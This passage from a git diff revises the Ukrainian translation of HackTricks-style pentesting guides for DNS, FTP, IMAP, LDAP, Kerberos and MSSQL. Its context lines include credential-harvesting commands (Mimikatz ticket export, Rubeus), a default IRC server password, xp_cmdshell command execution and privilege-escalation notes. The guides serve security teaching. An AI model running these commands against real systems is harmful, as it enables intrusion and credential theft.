працює на **порті 631/tcp**. +Використовуючи протокол **HTTP**, IPP отримує вигоду від встановлених практик безпеки, включаючи **базову/дослідницьку аутентифікацію** та **SSL/TLS шифрування**. Дії, такі як подання завдання на друк або запит статусу принтера, виконуються через **HTTP POST запити**, спрямовані на IPP сервер, який працює на **порті 631/tcp**. Відомою реалізацією IPP є **CUPS**, система друку з відкритим кодом, що поширена в різних дистрибутивах Linux та OS X. Незважаючи на свою корисність, IPP, подібно до LPD, може бути використаний для передачі шкідливого контенту через **PostScript** або **PJL файли**, що підкреслює потенційний ризик безпеки. ```python diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index f5aa94330..af36b7aa4 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -**Порт за замовчуванням:** 2301,2381 +**Типовий порт:** 2301,2381 -# **Паролі за замовчуванням** +# **Типові паролі** {% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 912ee26f7..23a14f715 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -17,17 +17,17 @@ PORT STATE SERVICE REASON ### Різні DNS-сервери - **DNS Root Servers**: Це сервери на вершині ієрархії DNS, які керують доменами верхнього рівня і втручаються лише у випадку, якщо сервери нижчого рівня не відповідають. Операцію цих серверів контролює Інтернет-корпорація з присвоєння імен та номерів (**ICANN**), загальна кількість яких становить 13. -- **Авторитетні сервери імен**: Ці сервери мають остаточне слово щодо запитів у своїх призначених зонах, надаючи остаточні відповіді. Якщо вони не можуть надати відповідь, запит передається на кореневі сервери. -- **Неавторитетні сервери імен**: Не маючи власності над зонами DNS, ці сервери збирають інформацію про домени через запити до інших серверів. -- **Кешуючий DNS-сервер**: Цей тип сервера запам'ятовує відповіді на попередні запити на певний час, щоб прискорити час відповіді на майбутні запити, при цьому тривалість кешу визначається авторитетним сервером. -- **Пересилаючий сервер**: Виконуючи просту роль, пересилаючі сервери просто передають запити на інший сервер. -- **Розв'язувач**: Інтегрований у комп'ютери або маршрутизатори, розв'язувачі виконують розв'язання імен локально і не вважаються авторитетними. +- **Authoritative Nameservers**: Ці сервери мають остаточне слово щодо запитів у своїх призначених зонах, надаючи остаточні відповіді. Якщо вони не можуть надати відповідь, запит передається кореневим серверам. +- **Non-authoritative Nameservers**: Не маючи власності на зони DNS, ці сервери збирають інформацію про домени через запити до інших серверів. +- **Caching DNS Server**: Цей тип сервера запам'ятовує відповіді на попередні запити на певний час, щоб прискорити час відповіді на майбутні запити, при цьому тривалість кешу визначається авторитетним сервером. +- **Forwarding Server**: Виконуючи просту роль, пересилальні сервери просто передають запити на інший сервер. +- **Resolver**: Інтегровані в комп'ютери або маршрутизатори, резолвери виконують розв'язання імен локально і не вважаються авторитетними. ## Перерахування -### **Отримання банера** +### **Захоплення банера** -У DNS немає банерів, але ви можете отримати магічний запит для `version.bind. CHAOS TXT`, який працюватиме на більшості серверів BIND.\ +У DNS немає банерів, але ви можете отримати магічний запит для `version.bind. CHAOS TXT`, який працюватиме на більшості BIND nameserver.\ Ви можете виконати цей запит, використовуючи `dig`: ```bash dig version.bind CHAOS TXT @DNS @@ -40,7 +40,7 @@ dig version.bind CHAOS TXT @DNS ``` ### **Будь-який запис** -Запит **ANY** попросить DNS-сервер **повернути** всі доступні **входи**, які **він готовий розкрити**. +Запит **ANY** попросить DNS сервер **повернути** всі доступні **входи**, які **він готовий розкрити**. ```bash dig any victim.com @ ``` @@ -78,7 +78,7 @@ nslookup > 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe... > #Reverse lookup of a machine, maybe... ``` -### Корисні модулі Metasploit +### Корисні модулі metasploit ```bash auxiliary/gather/enum_dns #Perform enumeration actions ``` @@ -136,8 +136,8 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns ``` ### DNS Рекурсія DDoS -Якщо **DNS рекурсія увімкнена**, зловмисник може **підробити** **джерело** в UDP пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\ -Спосіб **перевірити**, чи підтримує DNS **рекурсію**, - це запитати доменне ім'я і **перевірити**, чи є **прапор "ra"** (_рекурсія доступна_) у відповіді: +Якщо **DNS рекурсія увімкнена**, зловмисник може **підробити** **джерело** в UDP-пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\ +Спосіб **перевірити**, чи підтримує DNS **рекурсію**, полягає в запиті доменного імені та **перевірці**, чи є **прапор "ra"** (_рекурсія доступна_) у відповіді: ```bash dig google.com A @ ``` diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index d6d0a5d8b..746c829be 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -14,7 +14,7 @@ PORT STATE SERVICE ``` ### З'єднання Активні та Пасивні -В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера – порт 21. Потім **клієнт** **слухає** порт **N+1** і надсилає порт N+1 до FTP сервера. FTP **сервер** потім **ініціює** дане **з'єднання**, з **його порту M до порту N+1** FTP клієнта. +В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера – порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 на FTP сервер. FTP **сервер** потім **ініціює** дане **з'єднання**, з **його порту M до порту N+1** FTP клієнта. Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні дані з'єднання ззовні, тоді активний FTP може бути проблемою. І, доцільним рішенням для цього є Пасивний FTP. @@ -105,7 +105,7 @@ ftp ### Automated -Anon login та bounce FTP перевірки виконуються за замовчуванням nmap з опцією **-sC** або: +Анонімний вхід та перевірки bounce FTP виконуються за замовчуванням nmap з опцією **-sC** або: ```bash nmap --script ftp-* -p 21 ``` @@ -136,8 +136,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`LIST`** Це надішле список файлів у поточній папці - **`LIST -R`** Список рекурсивно (якщо дозволено сервером) - **`APPE /path/something.txt`** Це вказує FTP зберегти дані, отримані з **пасивного** з'єднання або з **PORT/EPRT** з'єднання, у файл. Якщо ім'я файлу існує, дані будуть додані. -- **`STOR /path/something.txt`** Як `APPE`, але він перезаписує файли -- **`STOU /path/something.txt`** Як `APPE`, але якщо існує, нічого не робить. +- **`STOR /path/something.txt`** Як `APPE`, але він перезапише файли +- **`STOU /path/something.txt`** Як `APPE`, але якщо існує, нічого не зробить. - **`RETR /path/to/file`** Має бути встановлено пасивне або портове з'єднання. Тоді FTP сервер надішле вказаний файл через це з'єднання - **`REST 6`** Це вказує серверу, що наступного разу, коли він надішле щось за допомогою `RETR`, він повинен почати з 6-го байта. - **`TYPE i`** Встановити передачу в двійковому форматі @@ -184,7 +184,7 @@ ftp.conf proftpd.conf vsftpd.conf ``` -### Пост-Експлуатація +### Пост-експлуатація За замовчуванням конфігурація vsFTPd може бути знайдена в `/etc/vsftpd.conf`. Тут ви можете знайти деякі небезпечні налаштування: @@ -195,8 +195,8 @@ vsftpd.conf - `chown_uploads=YES` - Змінити власність анонімно завантажених файлів - `chown_username=username` - Користувач, якому надається власність на анонімно завантажені файли - `local_enable=YES` - Дозволити локальним користувачам входити в систему -- `no_anon_password=YES` - Не запитувати анонімних користувачів про пароль -- `write_enable=YES` - Дозволити команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, і SITE +- `no_anon_password=YES` - Не запитувати анонімного користувача про пароль +- `write_enable=YES` - Дозволити команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, та SITE ### Shodan diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index bf73adb01..abb24f20c 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -4,9 +4,9 @@ ## Протокол доступу до Інтернет-повідомлень -**Протокол доступу до Інтернет-повідомлень (IMAP)** призначений для того, щоб дозволити користувачам **отримувати доступ до своїх електронних листів з будь-якого місця**, в основному через Інтернет-з'єднання. По суті, електронні листи **зберігаються на сервері**, а не завантажуються та зберігаються на особистому пристрої. Це означає, що коли електронний лист відкривається або читається, це відбувається **безпосередньо з сервера**. Ця можливість дозволяє зручно перевіряти електронні листи з **декількох пристроїв**, забезпечуючи, що жодне повідомлення не буде пропущено, незалежно від використаного пристрою. +**Протокол доступу до Інтернет-повідомлень (IMAP)** призначений для того, щоб дозволити користувачам **отримувати доступ до своїх електронних листів з будь-якого місця**, в основному через Інтернет-з'єднання. По суті, електронні листи **зберігаються на сервері**, а не завантажуються та зберігаються на особистому пристрої. Це означає, що коли електронний лист відкривається або читається, це відбувається **безпосередньо з сервера**. Ця можливість забезпечує зручність перевірки електронної пошти з **декількох пристроїв**, гарантуючи, що жодне повідомлення не буде пропущено, незалежно від використаного пристрою. -За замовчуванням протокол IMAP працює на двох портах: +За замовчуванням, протокол IMAP працює на двох портах: - **Порт 143** - це стандартний незахищений порт IMAP - **Порт 993** - це порт, який потрібно використовувати, якщо ви хочете підключитися за допомогою IMAP безпечно @@ -103,13 +103,13 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass ``` Результатом цього пошуку є список індексів повідомлень. -Також можливо надавати більш складні пошукові запити. Наприклад, пошук чернеток з паролем у тілі листа: +Також можливо надавати більш складні пошукові запити. Наприклад, шукати чернетки з паролем у тілі листа: ```bash curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` -Добрий огляд можливих пошукових термінів знаходиться [тут](https://www.atmail.com/blog/imap-commands/). +Добре структурований огляд можливих пошукових термінів знаходиться [тут](https://www.atmail.com/blog/imap-commands/). -3. Завантаження повідомлення (imap команда `SELECT Drafts` і потім `FETCH 1 BODY[]`) +3. Завантаження повідомлення (imap команда `SELECT Drafts`, а потім `FETCH 1 BODY[]`) ```bash curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` diff --git a/src/network-services-pentesting/pentesting-irc.md b/src/network-services-pentesting/pentesting-irc.md index 7f7c1eba8..381853f31 100644 --- a/src/network-services-pentesting/pentesting-irc.md +++ b/src/network-services-pentesting/pentesting-irc.md @@ -55,7 +55,7 @@ JOIN #Connect to a channel #Operator creds Brute-Force OPER ``` -Ви також можете спробувати увійти на сервер з паролем. За замовчуванням пароль для ngIRCd - `wealllikedebian`. +Ви також можете спробувати увійти на сервер за допомогою пароля. За замовчуванням пароль для ngIRCd - `wealllikedebian`. ```bash PASS wealllikedebian NICK patrick @@ -65,7 +65,7 @@ USER test1 test2 :test3 ```bash nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 ``` -### [Brute Force](../generic-hacking/brute-force.md#irc) +### [Брутфорс](../generic-hacking/brute-force.md#irc) ### Shodan diff --git a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index 3162fed82..ac781c861 100644 --- a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -5,7 +5,7 @@ ## Exploiting -Експлуатація JDWP базується на **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP в мережі. +Експлуатація JDWP ґрунтується на **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP в мережі. Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP. @@ -28,12 +28,12 @@ 2. **Рукостискання JDWP**: -- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) і Дебагованим (сервером). +- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) та Дебагованим (сервером). 3. **Комунікація JDWP**: -- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор і Набір команд. -- Значення Набору команд варіюються від 0x40 до 0x80, представляючи різні дії та події. +- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та CommandSet. +- Значення CommandSet варіюються від 0x40 до 0x80, представляючи різні дії та події. 4. **Експлуатація**: @@ -43,7 +43,7 @@ 5. **Експлуатація в реальному житті**: - Незважаючи на потенційні захисти брандмауера, служби JDWP можна виявити та експлуатувати в реальних сценаріях, як показано в пошуках на платформах, таких як ShodanHQ та GitHub. -- Скрипт експлойту був протестований проти різних версій JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE). +- Скрипт експлойту був протестований на різних версіях JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE). 6. **Безпекові наслідки**: - Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належних конфігурацій брандмауера. diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 2dbcb2c7a..c8766cca4 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -31,7 +31,7 @@ PORT STATE SERVICE Інші експлойти: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) -## HackTricks Автоматичні Команди +## HackTricks Автоматичні команди ``` Protocol_Name: Kerberos #Protocol Abbreviation if there is one. Port_Number: 88 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md index fffc78b59..861c9724f 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md @@ -6,7 +6,7 @@ ### Mimikatz -Mimikatz - це універсальний інструмент, який може взаємодіяти з безпекою Windows. Його використовують не лише для витягування квитків, але й для різних інших операцій, пов'язаних із безпекою. +Mimikatz - це універсальний інструмент, який може взаємодіяти з безпекою Windows. Його використовують не лише для витягування квитків, але й для різних інших операцій, пов'язаних з безпекою. ```bash # Extracting tickets using Mimikatz sekurlsa::tickets /export @@ -32,7 +32,7 @@ Rubeus - це інструмент, спеціально розроблений # Converting a ticket to hashcat format for offline cracking .\Rubeus.exe hash /ticket: ``` -При використанні цих команд, переконайтеся, що ви замінили заповнювачі, такі як `` та ``, на фактичний квиток у кодуванні Base64 та ідентифікатор входу відповідно. Ці інструменти надають розширену функціональність для управління квитками та взаємодії з механізмами безпеки Windows. +Коли ви використовуєте ці команди, переконайтеся, що ви замінили заповнювачі, такі як `` та ``, на фактичний квиток, закодований у Base64, та ідентифікатор входу відповідно. Ці інструменти надають розширену функціональність для управління квитками та взаємодії з механізмами безпеки Windows. ## References diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 448a426f3..143303e3d 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -4,7 +4,7 @@ Використання **LDAP** (Протокол легкого доступу до каталогів) в основному призначене для знаходження різних сутностей, таких як організації, особи та ресурси, такі як файли та пристрої в мережах, як публічних, так і приватних. Він пропонує спрощений підхід у порівнянні зі своїм попередником, DAP, завдяки меншому обсягу коду. -Каталоги LDAP структуровані так, щоб дозволити їх розподіл на кількох серверах, при цьому кожен сервер містить **репліковану** та **синхронізовану** версію каталогу, що називається Агентом системи каталогів (DSA). Відповідальність за обробку запитів повністю лежить на сервері LDAP, який може спілкуватися з іншими DSA за потреби, щоб надати єдину відповідь запитувачу. +Каталоги LDAP структуровані так, щоб дозволити їх розподіл на кількох серверах, при цьому кожен сервер містить **репліковану** та **синхронізовану** версію каталогу, що називається Агента системи каталогів (DSA). Відповідальність за обробку запитів повністю лежить на сервері LDAP, який може спілкуватися з іншими DSA за потреби, щоб надати єдину відповідь запитувачу. Організація каталогу LDAP нагадує **деревоподібну ієрархію, починаючи з кореневого каталогу вгорі**. Це розгалужується на країни, які далі діляться на організації, а потім на організаційні одиниці, що представляють різні підрозділи або департаменти, нарешті досягаючи рівня окремих сутностей, включаючи як людей, так і спільні ресурси, такі як файли та принтери. @@ -48,7 +48,7 @@ phone: 23627387495 - Рядки 1-3 визначають домен верхнього рівня local - Рядки 5-8 визначають домен першого рівня moneycorp (moneycorp.local) - Рядки 10-16 визначають 2 організаційні одиниці: dev та sales -- Рядки 18-26 створюють об'єкт домену та призначають атрибути зі значеннями +- Рядки 18-26 створюють об'єкт домену та призначають атрибути з значеннями ## Запис даних @@ -70,7 +70,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' Також ви можете виконати **MITM** атаку в мережі **між LDAP сервером і клієнтом.** Тут ви можете здійснити **Атаку з пониженням**, щоб клієнт використовував **облікові дані у відкритому тексті** для входу. -**Якщо використовується SSL**, ви можете спробувати здійснити **MITM**, як згадувалося вище, але запропонувавши **помилковий сертифікат**. Якщо **користувач його прийме**, ви зможете знизити метод аутентифікації і знову побачити облікові дані. +**Якщо використовується SSL**, ви можете спробувати здійснити **MITM**, як згадувалося вище, але запропонувавши **помилковий сертифікат**. Якщо **користувач його прийме**, ви зможете понизити метод аутентифікації і знову побачити облікові дані. ## Анонімний доступ @@ -82,8 +82,8 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP анонімні зв'язки -[LDAP анонімні зв'язки](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) дозволяють **неавтентифікованим атакам** отримувати інформацію з домену, таку як повний список користувачів, груп, комп'ютерів, атрибутів облікових записів користувачів та політики паролів домену. Це **старе налаштування**, і починаючи з Windows Server 2003, лише автентифіковані користувачі можуть ініціювати LDAP запити.\ -Однак адміністратори могли налаштувати **конкретний додаток для дозволу анонімних зв'язків** і надати більше доступу, ніж планувалося, тим самим надаючи неавтентифікованим користувачам доступ до всіх об'єктів в AD. +[LDAP анонімні зв'язки](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) дозволяють **неаутентифікованим атакам** отримувати інформацію з домену, таку як повний список користувачів, груп, комп'ютерів, атрибутів облікових записів користувачів та політики паролів домену. Це **спадкова конфігурація**, і починаючи з Windows Server 2003, лише аутентифікованим користувачам дозволено ініціювати LDAP запити.\ +Однак адміністратори могли налаштувати **конкретний додаток для дозволу анонімних зв'язків** і надати більше доступу, ніж планувалося, тим самим надаючи неаутентифікованим користувачам доступ до всіх об'єктів в AD. ## Дійсні облікові дані @@ -108,7 +108,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
-Дивитися перерахування LDAP з python +Дивитися LDAP перерахування з python Ви можете спробувати **перерахувати LDAP з або без облікових даних, використовуючи python**: `pip3 install ldap3` @@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials True >>> server.info ``` -Якщо відповідь `True`, як у попередньому прикладі, ви можете отримати деякі **цікаві дані** з LDAP (наприклад, **контекст іменування** або **ім'я домену**) сервера з: +Якщо відповідь `True`, як у попередньому прикладі, ви можете отримати деякі **цікаві дані** з LDAP (як-от **контекст іменування** або **ім'я домену**) сервера з: ```bash >>> server.info DSA info (from DSE): @@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p ``` ### ldapsearch -Перевірте порожні облікові дані або чи ваші облікові дані є дійсними: +Перевірте порожні облікові дані або чи ваші облікові дані дійсні: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" @@ -322,9 +322,9 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u - ldap-config.xml - ldap-realm.xml - slapd.conf -- IBM SecureWay V3 server +- IBM SecureWay V3 сервер - V3.sas.oc -- Microsoft Active Directory server +- Microsoft Active Directory сервер - msadClassesAttrs.ldif - Netscape Directory Server 4 - nsslapd.sas_at.conf diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 94f98088b..0bde98eac 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -15,8 +15,8 @@ ### **Типові системні таблиці MS-SQL** - **master Database**: Ця база даних є критично важливою, оскільки вона фіксує всі системні деталі для екземпляра SQL Server. -- **msdb Database**: SQL Server Agent використовує цю базу даних для управління розкладом для сповіщень та завдань. -- **model Database**: Служить шаблоном для кожної нової бази даних на екземплярі SQL Server, де будь-які зміни, такі як розмір, колація, модель відновлення та інше, відображаються в новостворених базах даних. +- **msdb Database**: SQL Server Agent використовує цю базу даних для управління розкладом для сповіщень і завдань. +- **model Database**: Служить як шаблон для кожної нової бази даних на екземплярі SQL Server, де будь-які зміни, такі як розмір, колація, модель відновлення та інше, відображаються в новостворених базах даних. - **Resource Database**: База даних тільки для читання, яка містить системні об'єкти, що постачаються з SQL Server. Ці об'єкти, хоча фізично зберігаються в базі даних Resource, логічно представлені в схемі sys кожної бази даних. - **tempdb Database**: Використовується як тимчасова область зберігання для транзитних об'єктів або проміжних наборів результатів. @@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Якщо у вас **немає облікових даних**, ви можете спробувати їх вгадати. Ви можете використовувати nmap або metasploit. Будьте обережні, ви можете **заблокувати облікові записи**, якщо кілька разів не вдасться увійти, використовуючи існуюче ім'я користувача. +> Якщо у вас **немає** **облікових даних**, ви можете спробувати їх вгадати. Ви можете використовувати nmap або metasploit. Будьте обережні, ви можете **заблокувати облікові записи**, якщо кілька разів не вдасться увійти, використовуючи існуюче ім'я користувача. #### Metasploit (потрібні облікові дані) ```bash @@ -153,16 +153,16 @@ order by name; EXEC sp_helpuser SELECT * FROM sysusers ``` -#### Отримання дозволів +#### Отримати дозволи 1. **Securable:** Визначається як ресурси, які керуються SQL Server для контролю доступу. Вони класифікуються на: -- **Сервер** – Приклади включають бази даних, логіни, кінцеві точки, групи доступності та серверні ролі. +- **Сервер** – Приклади включають бази даних, логіни, кінцеві точки, групи доступності та ролі сервера. - **База даних** – Приклади охоплюють роль бази даних, ролі додатків, схеми, сертифікати, каталоги повнотекстового пошуку та користувачів. - **Схема** – Включає таблиці, подання, процедури, функції, синоніми тощо. -2. **Permission:** Ассоціюється з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях: +2. **Дозвіл:** Пов'язаний з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE, можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях: - **Рівень сервера** за допомогою логінів - **Рівень бази даних** за допомогою користувачів -3. **Principal:** Цей термін відноситься до сутності, якій надано дозвіл на securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу. +3. **Принципал:** Цей термін відноситься до сутності, якій надано дозвіл на securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Виконання команд ОС > [!CAUTION] -> Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (окрім sysadmins) може використовувати **`xp_cmdshell`** за допомогою: +> Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (крім sysadmins) може використовувати **`xp_cmdshell`** за допомогою: > > ```sql > Use master @@ -438,7 +438,7 @@ public void Test() ### Від db_owner до sysadmin -Якщо **звичайному користувачу** надано роль **`db_owner`** над **базою даних, що належить адміністратору** (такому як **`sa`**) і ця база даних налаштована як **`trustworthy`**, цей користувач може зловживати цими привілеями для **privesc**, оскільки **збережені процедури**, створені там, можуть **виконуватися** як власник (**адміністратор**). +Якщо **звичайному користувачу** надано роль **`db_owner`** над **базою даних, що належить адміністратору** (такому як **`sa`**) і ця база даних налаштована як **`trustworthy`**, цей користувач може зловживати цими привілеями для **privesc**, оскільки **збережені процедури**, створені там, можуть **виконуватись** як власник (**адміністратор**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -550,7 +550,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Підвищення локальних привілеїв Користувач, що запускає сервер MSSQL, матиме увімкнений привілейний токен **SeImpersonatePrivilege.**\ -Ви, ймовірно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань: +Ви, напевно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md index 8cdd833cc..fc2aadc2c 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md @@ -16,10 +16,10 @@ | **owning_principal_id** | **int** | ID принципала, який володіє цим принципалом. Усі фіксовані ролі бази даних за замовчуванням належать **dbo**. | | **sid** | **varbinary(85)** | SID (ідентифікатор безпеки) принципала. NULL для SYS та INFORMATION SCHEMAS. | | **is_fixed_role** | **bit** | Якщо 1, цей рядок представляє запис для однієї з фіксованих ролей бази даних: db_owner, db_accessadmin, db_datareader, db_datawriter, db_ddladmin, db_securityadmin, db_backupoperator, db_denydatareader, db_denydatawriter. | -| **authentication_type** | **int** |

Застосовується до: SQL Server 2012 (11.x) та пізніших версій.

Означає тип аутентифікації. Наступні значення та їх описи.

0 : Без аутентифікації
1 : Аутентифікація екземпляра
2 : Аутентифікація бази даних
3 : Аутентифікація Windows
4 : Аутентифікація Azure Active Directory

| -| **authentication_type_desc** | **nvarchar(60)** |

Застосовується до: SQL Server 2012 (11.x) та пізніших версій.

Опис типу аутентифікації. Наступні значення та їх описи.

NONE : Без аутентифікації
INSTANCE : Аутентифікація екземпляра
DATABASE : Аутентифікація бази даних
WINDOWS : Аутентифікація Windows
EXTERNAL: Аутентифікація Azure Active Directory

| +| **authentication_type** | **int** |

Застосовується до: SQL Server 2012 (11.x) та пізніших версій.

Означає тип аутентифікації. Наступні значення можливі та їх описи.

0 : Без аутентифікації
1 : Аутентифікація екземпляра
2 : Аутентифікація бази даних
3 : Аутентифікація Windows
4 : Аутентифікація Azure Active Directory

| +| **authentication_type_desc** | **nvarchar(60)** |

Застосовується до: SQL Server 2012 (11.x) та пізніших версій.

Опис типу аутентифікації. Наступні значення можливі та їх описи.

NONE : Без аутентифікації
INSTANCE : Аутентифікація екземпляра
DATABASE : Аутентифікація бази даних
WINDOWS : Аутентифікація Windows
EXTERNAL: Аутентифікація Azure Active Directory

| | **default_language_name** | **sysname** |

Застосовується до: SQL Server 2012 (11.x) та пізніших версій.

Означає мову за замовчуванням для цього принципала.

| | **default_language_lcid** | **int** |

Застосовується до: SQL Server 2012 (11.x) та пізніших версій.

Означає LCID за замовчуванням для цього принципала.

| -| **allow_encrypted_value_modifications** | **bit** |

Застосовується до: SQL Server 2016 (13.x) та пізніших версій, SQL Database.

Приховує перевірки криптографічних метаданих на сервері під час операцій масового копіювання. Це дозволяє користувачу масово копіювати дані, зашифровані за допомогою Always Encrypted, між таблицями або базами даних без розшифровування даних. За замовчуванням - ВИМКНУТО.

| +| **allow_encrypted_value_modifications** | **bit** |

Застосовується до: SQL Server 2016 (13.x) та пізніших версій, SQL Database.

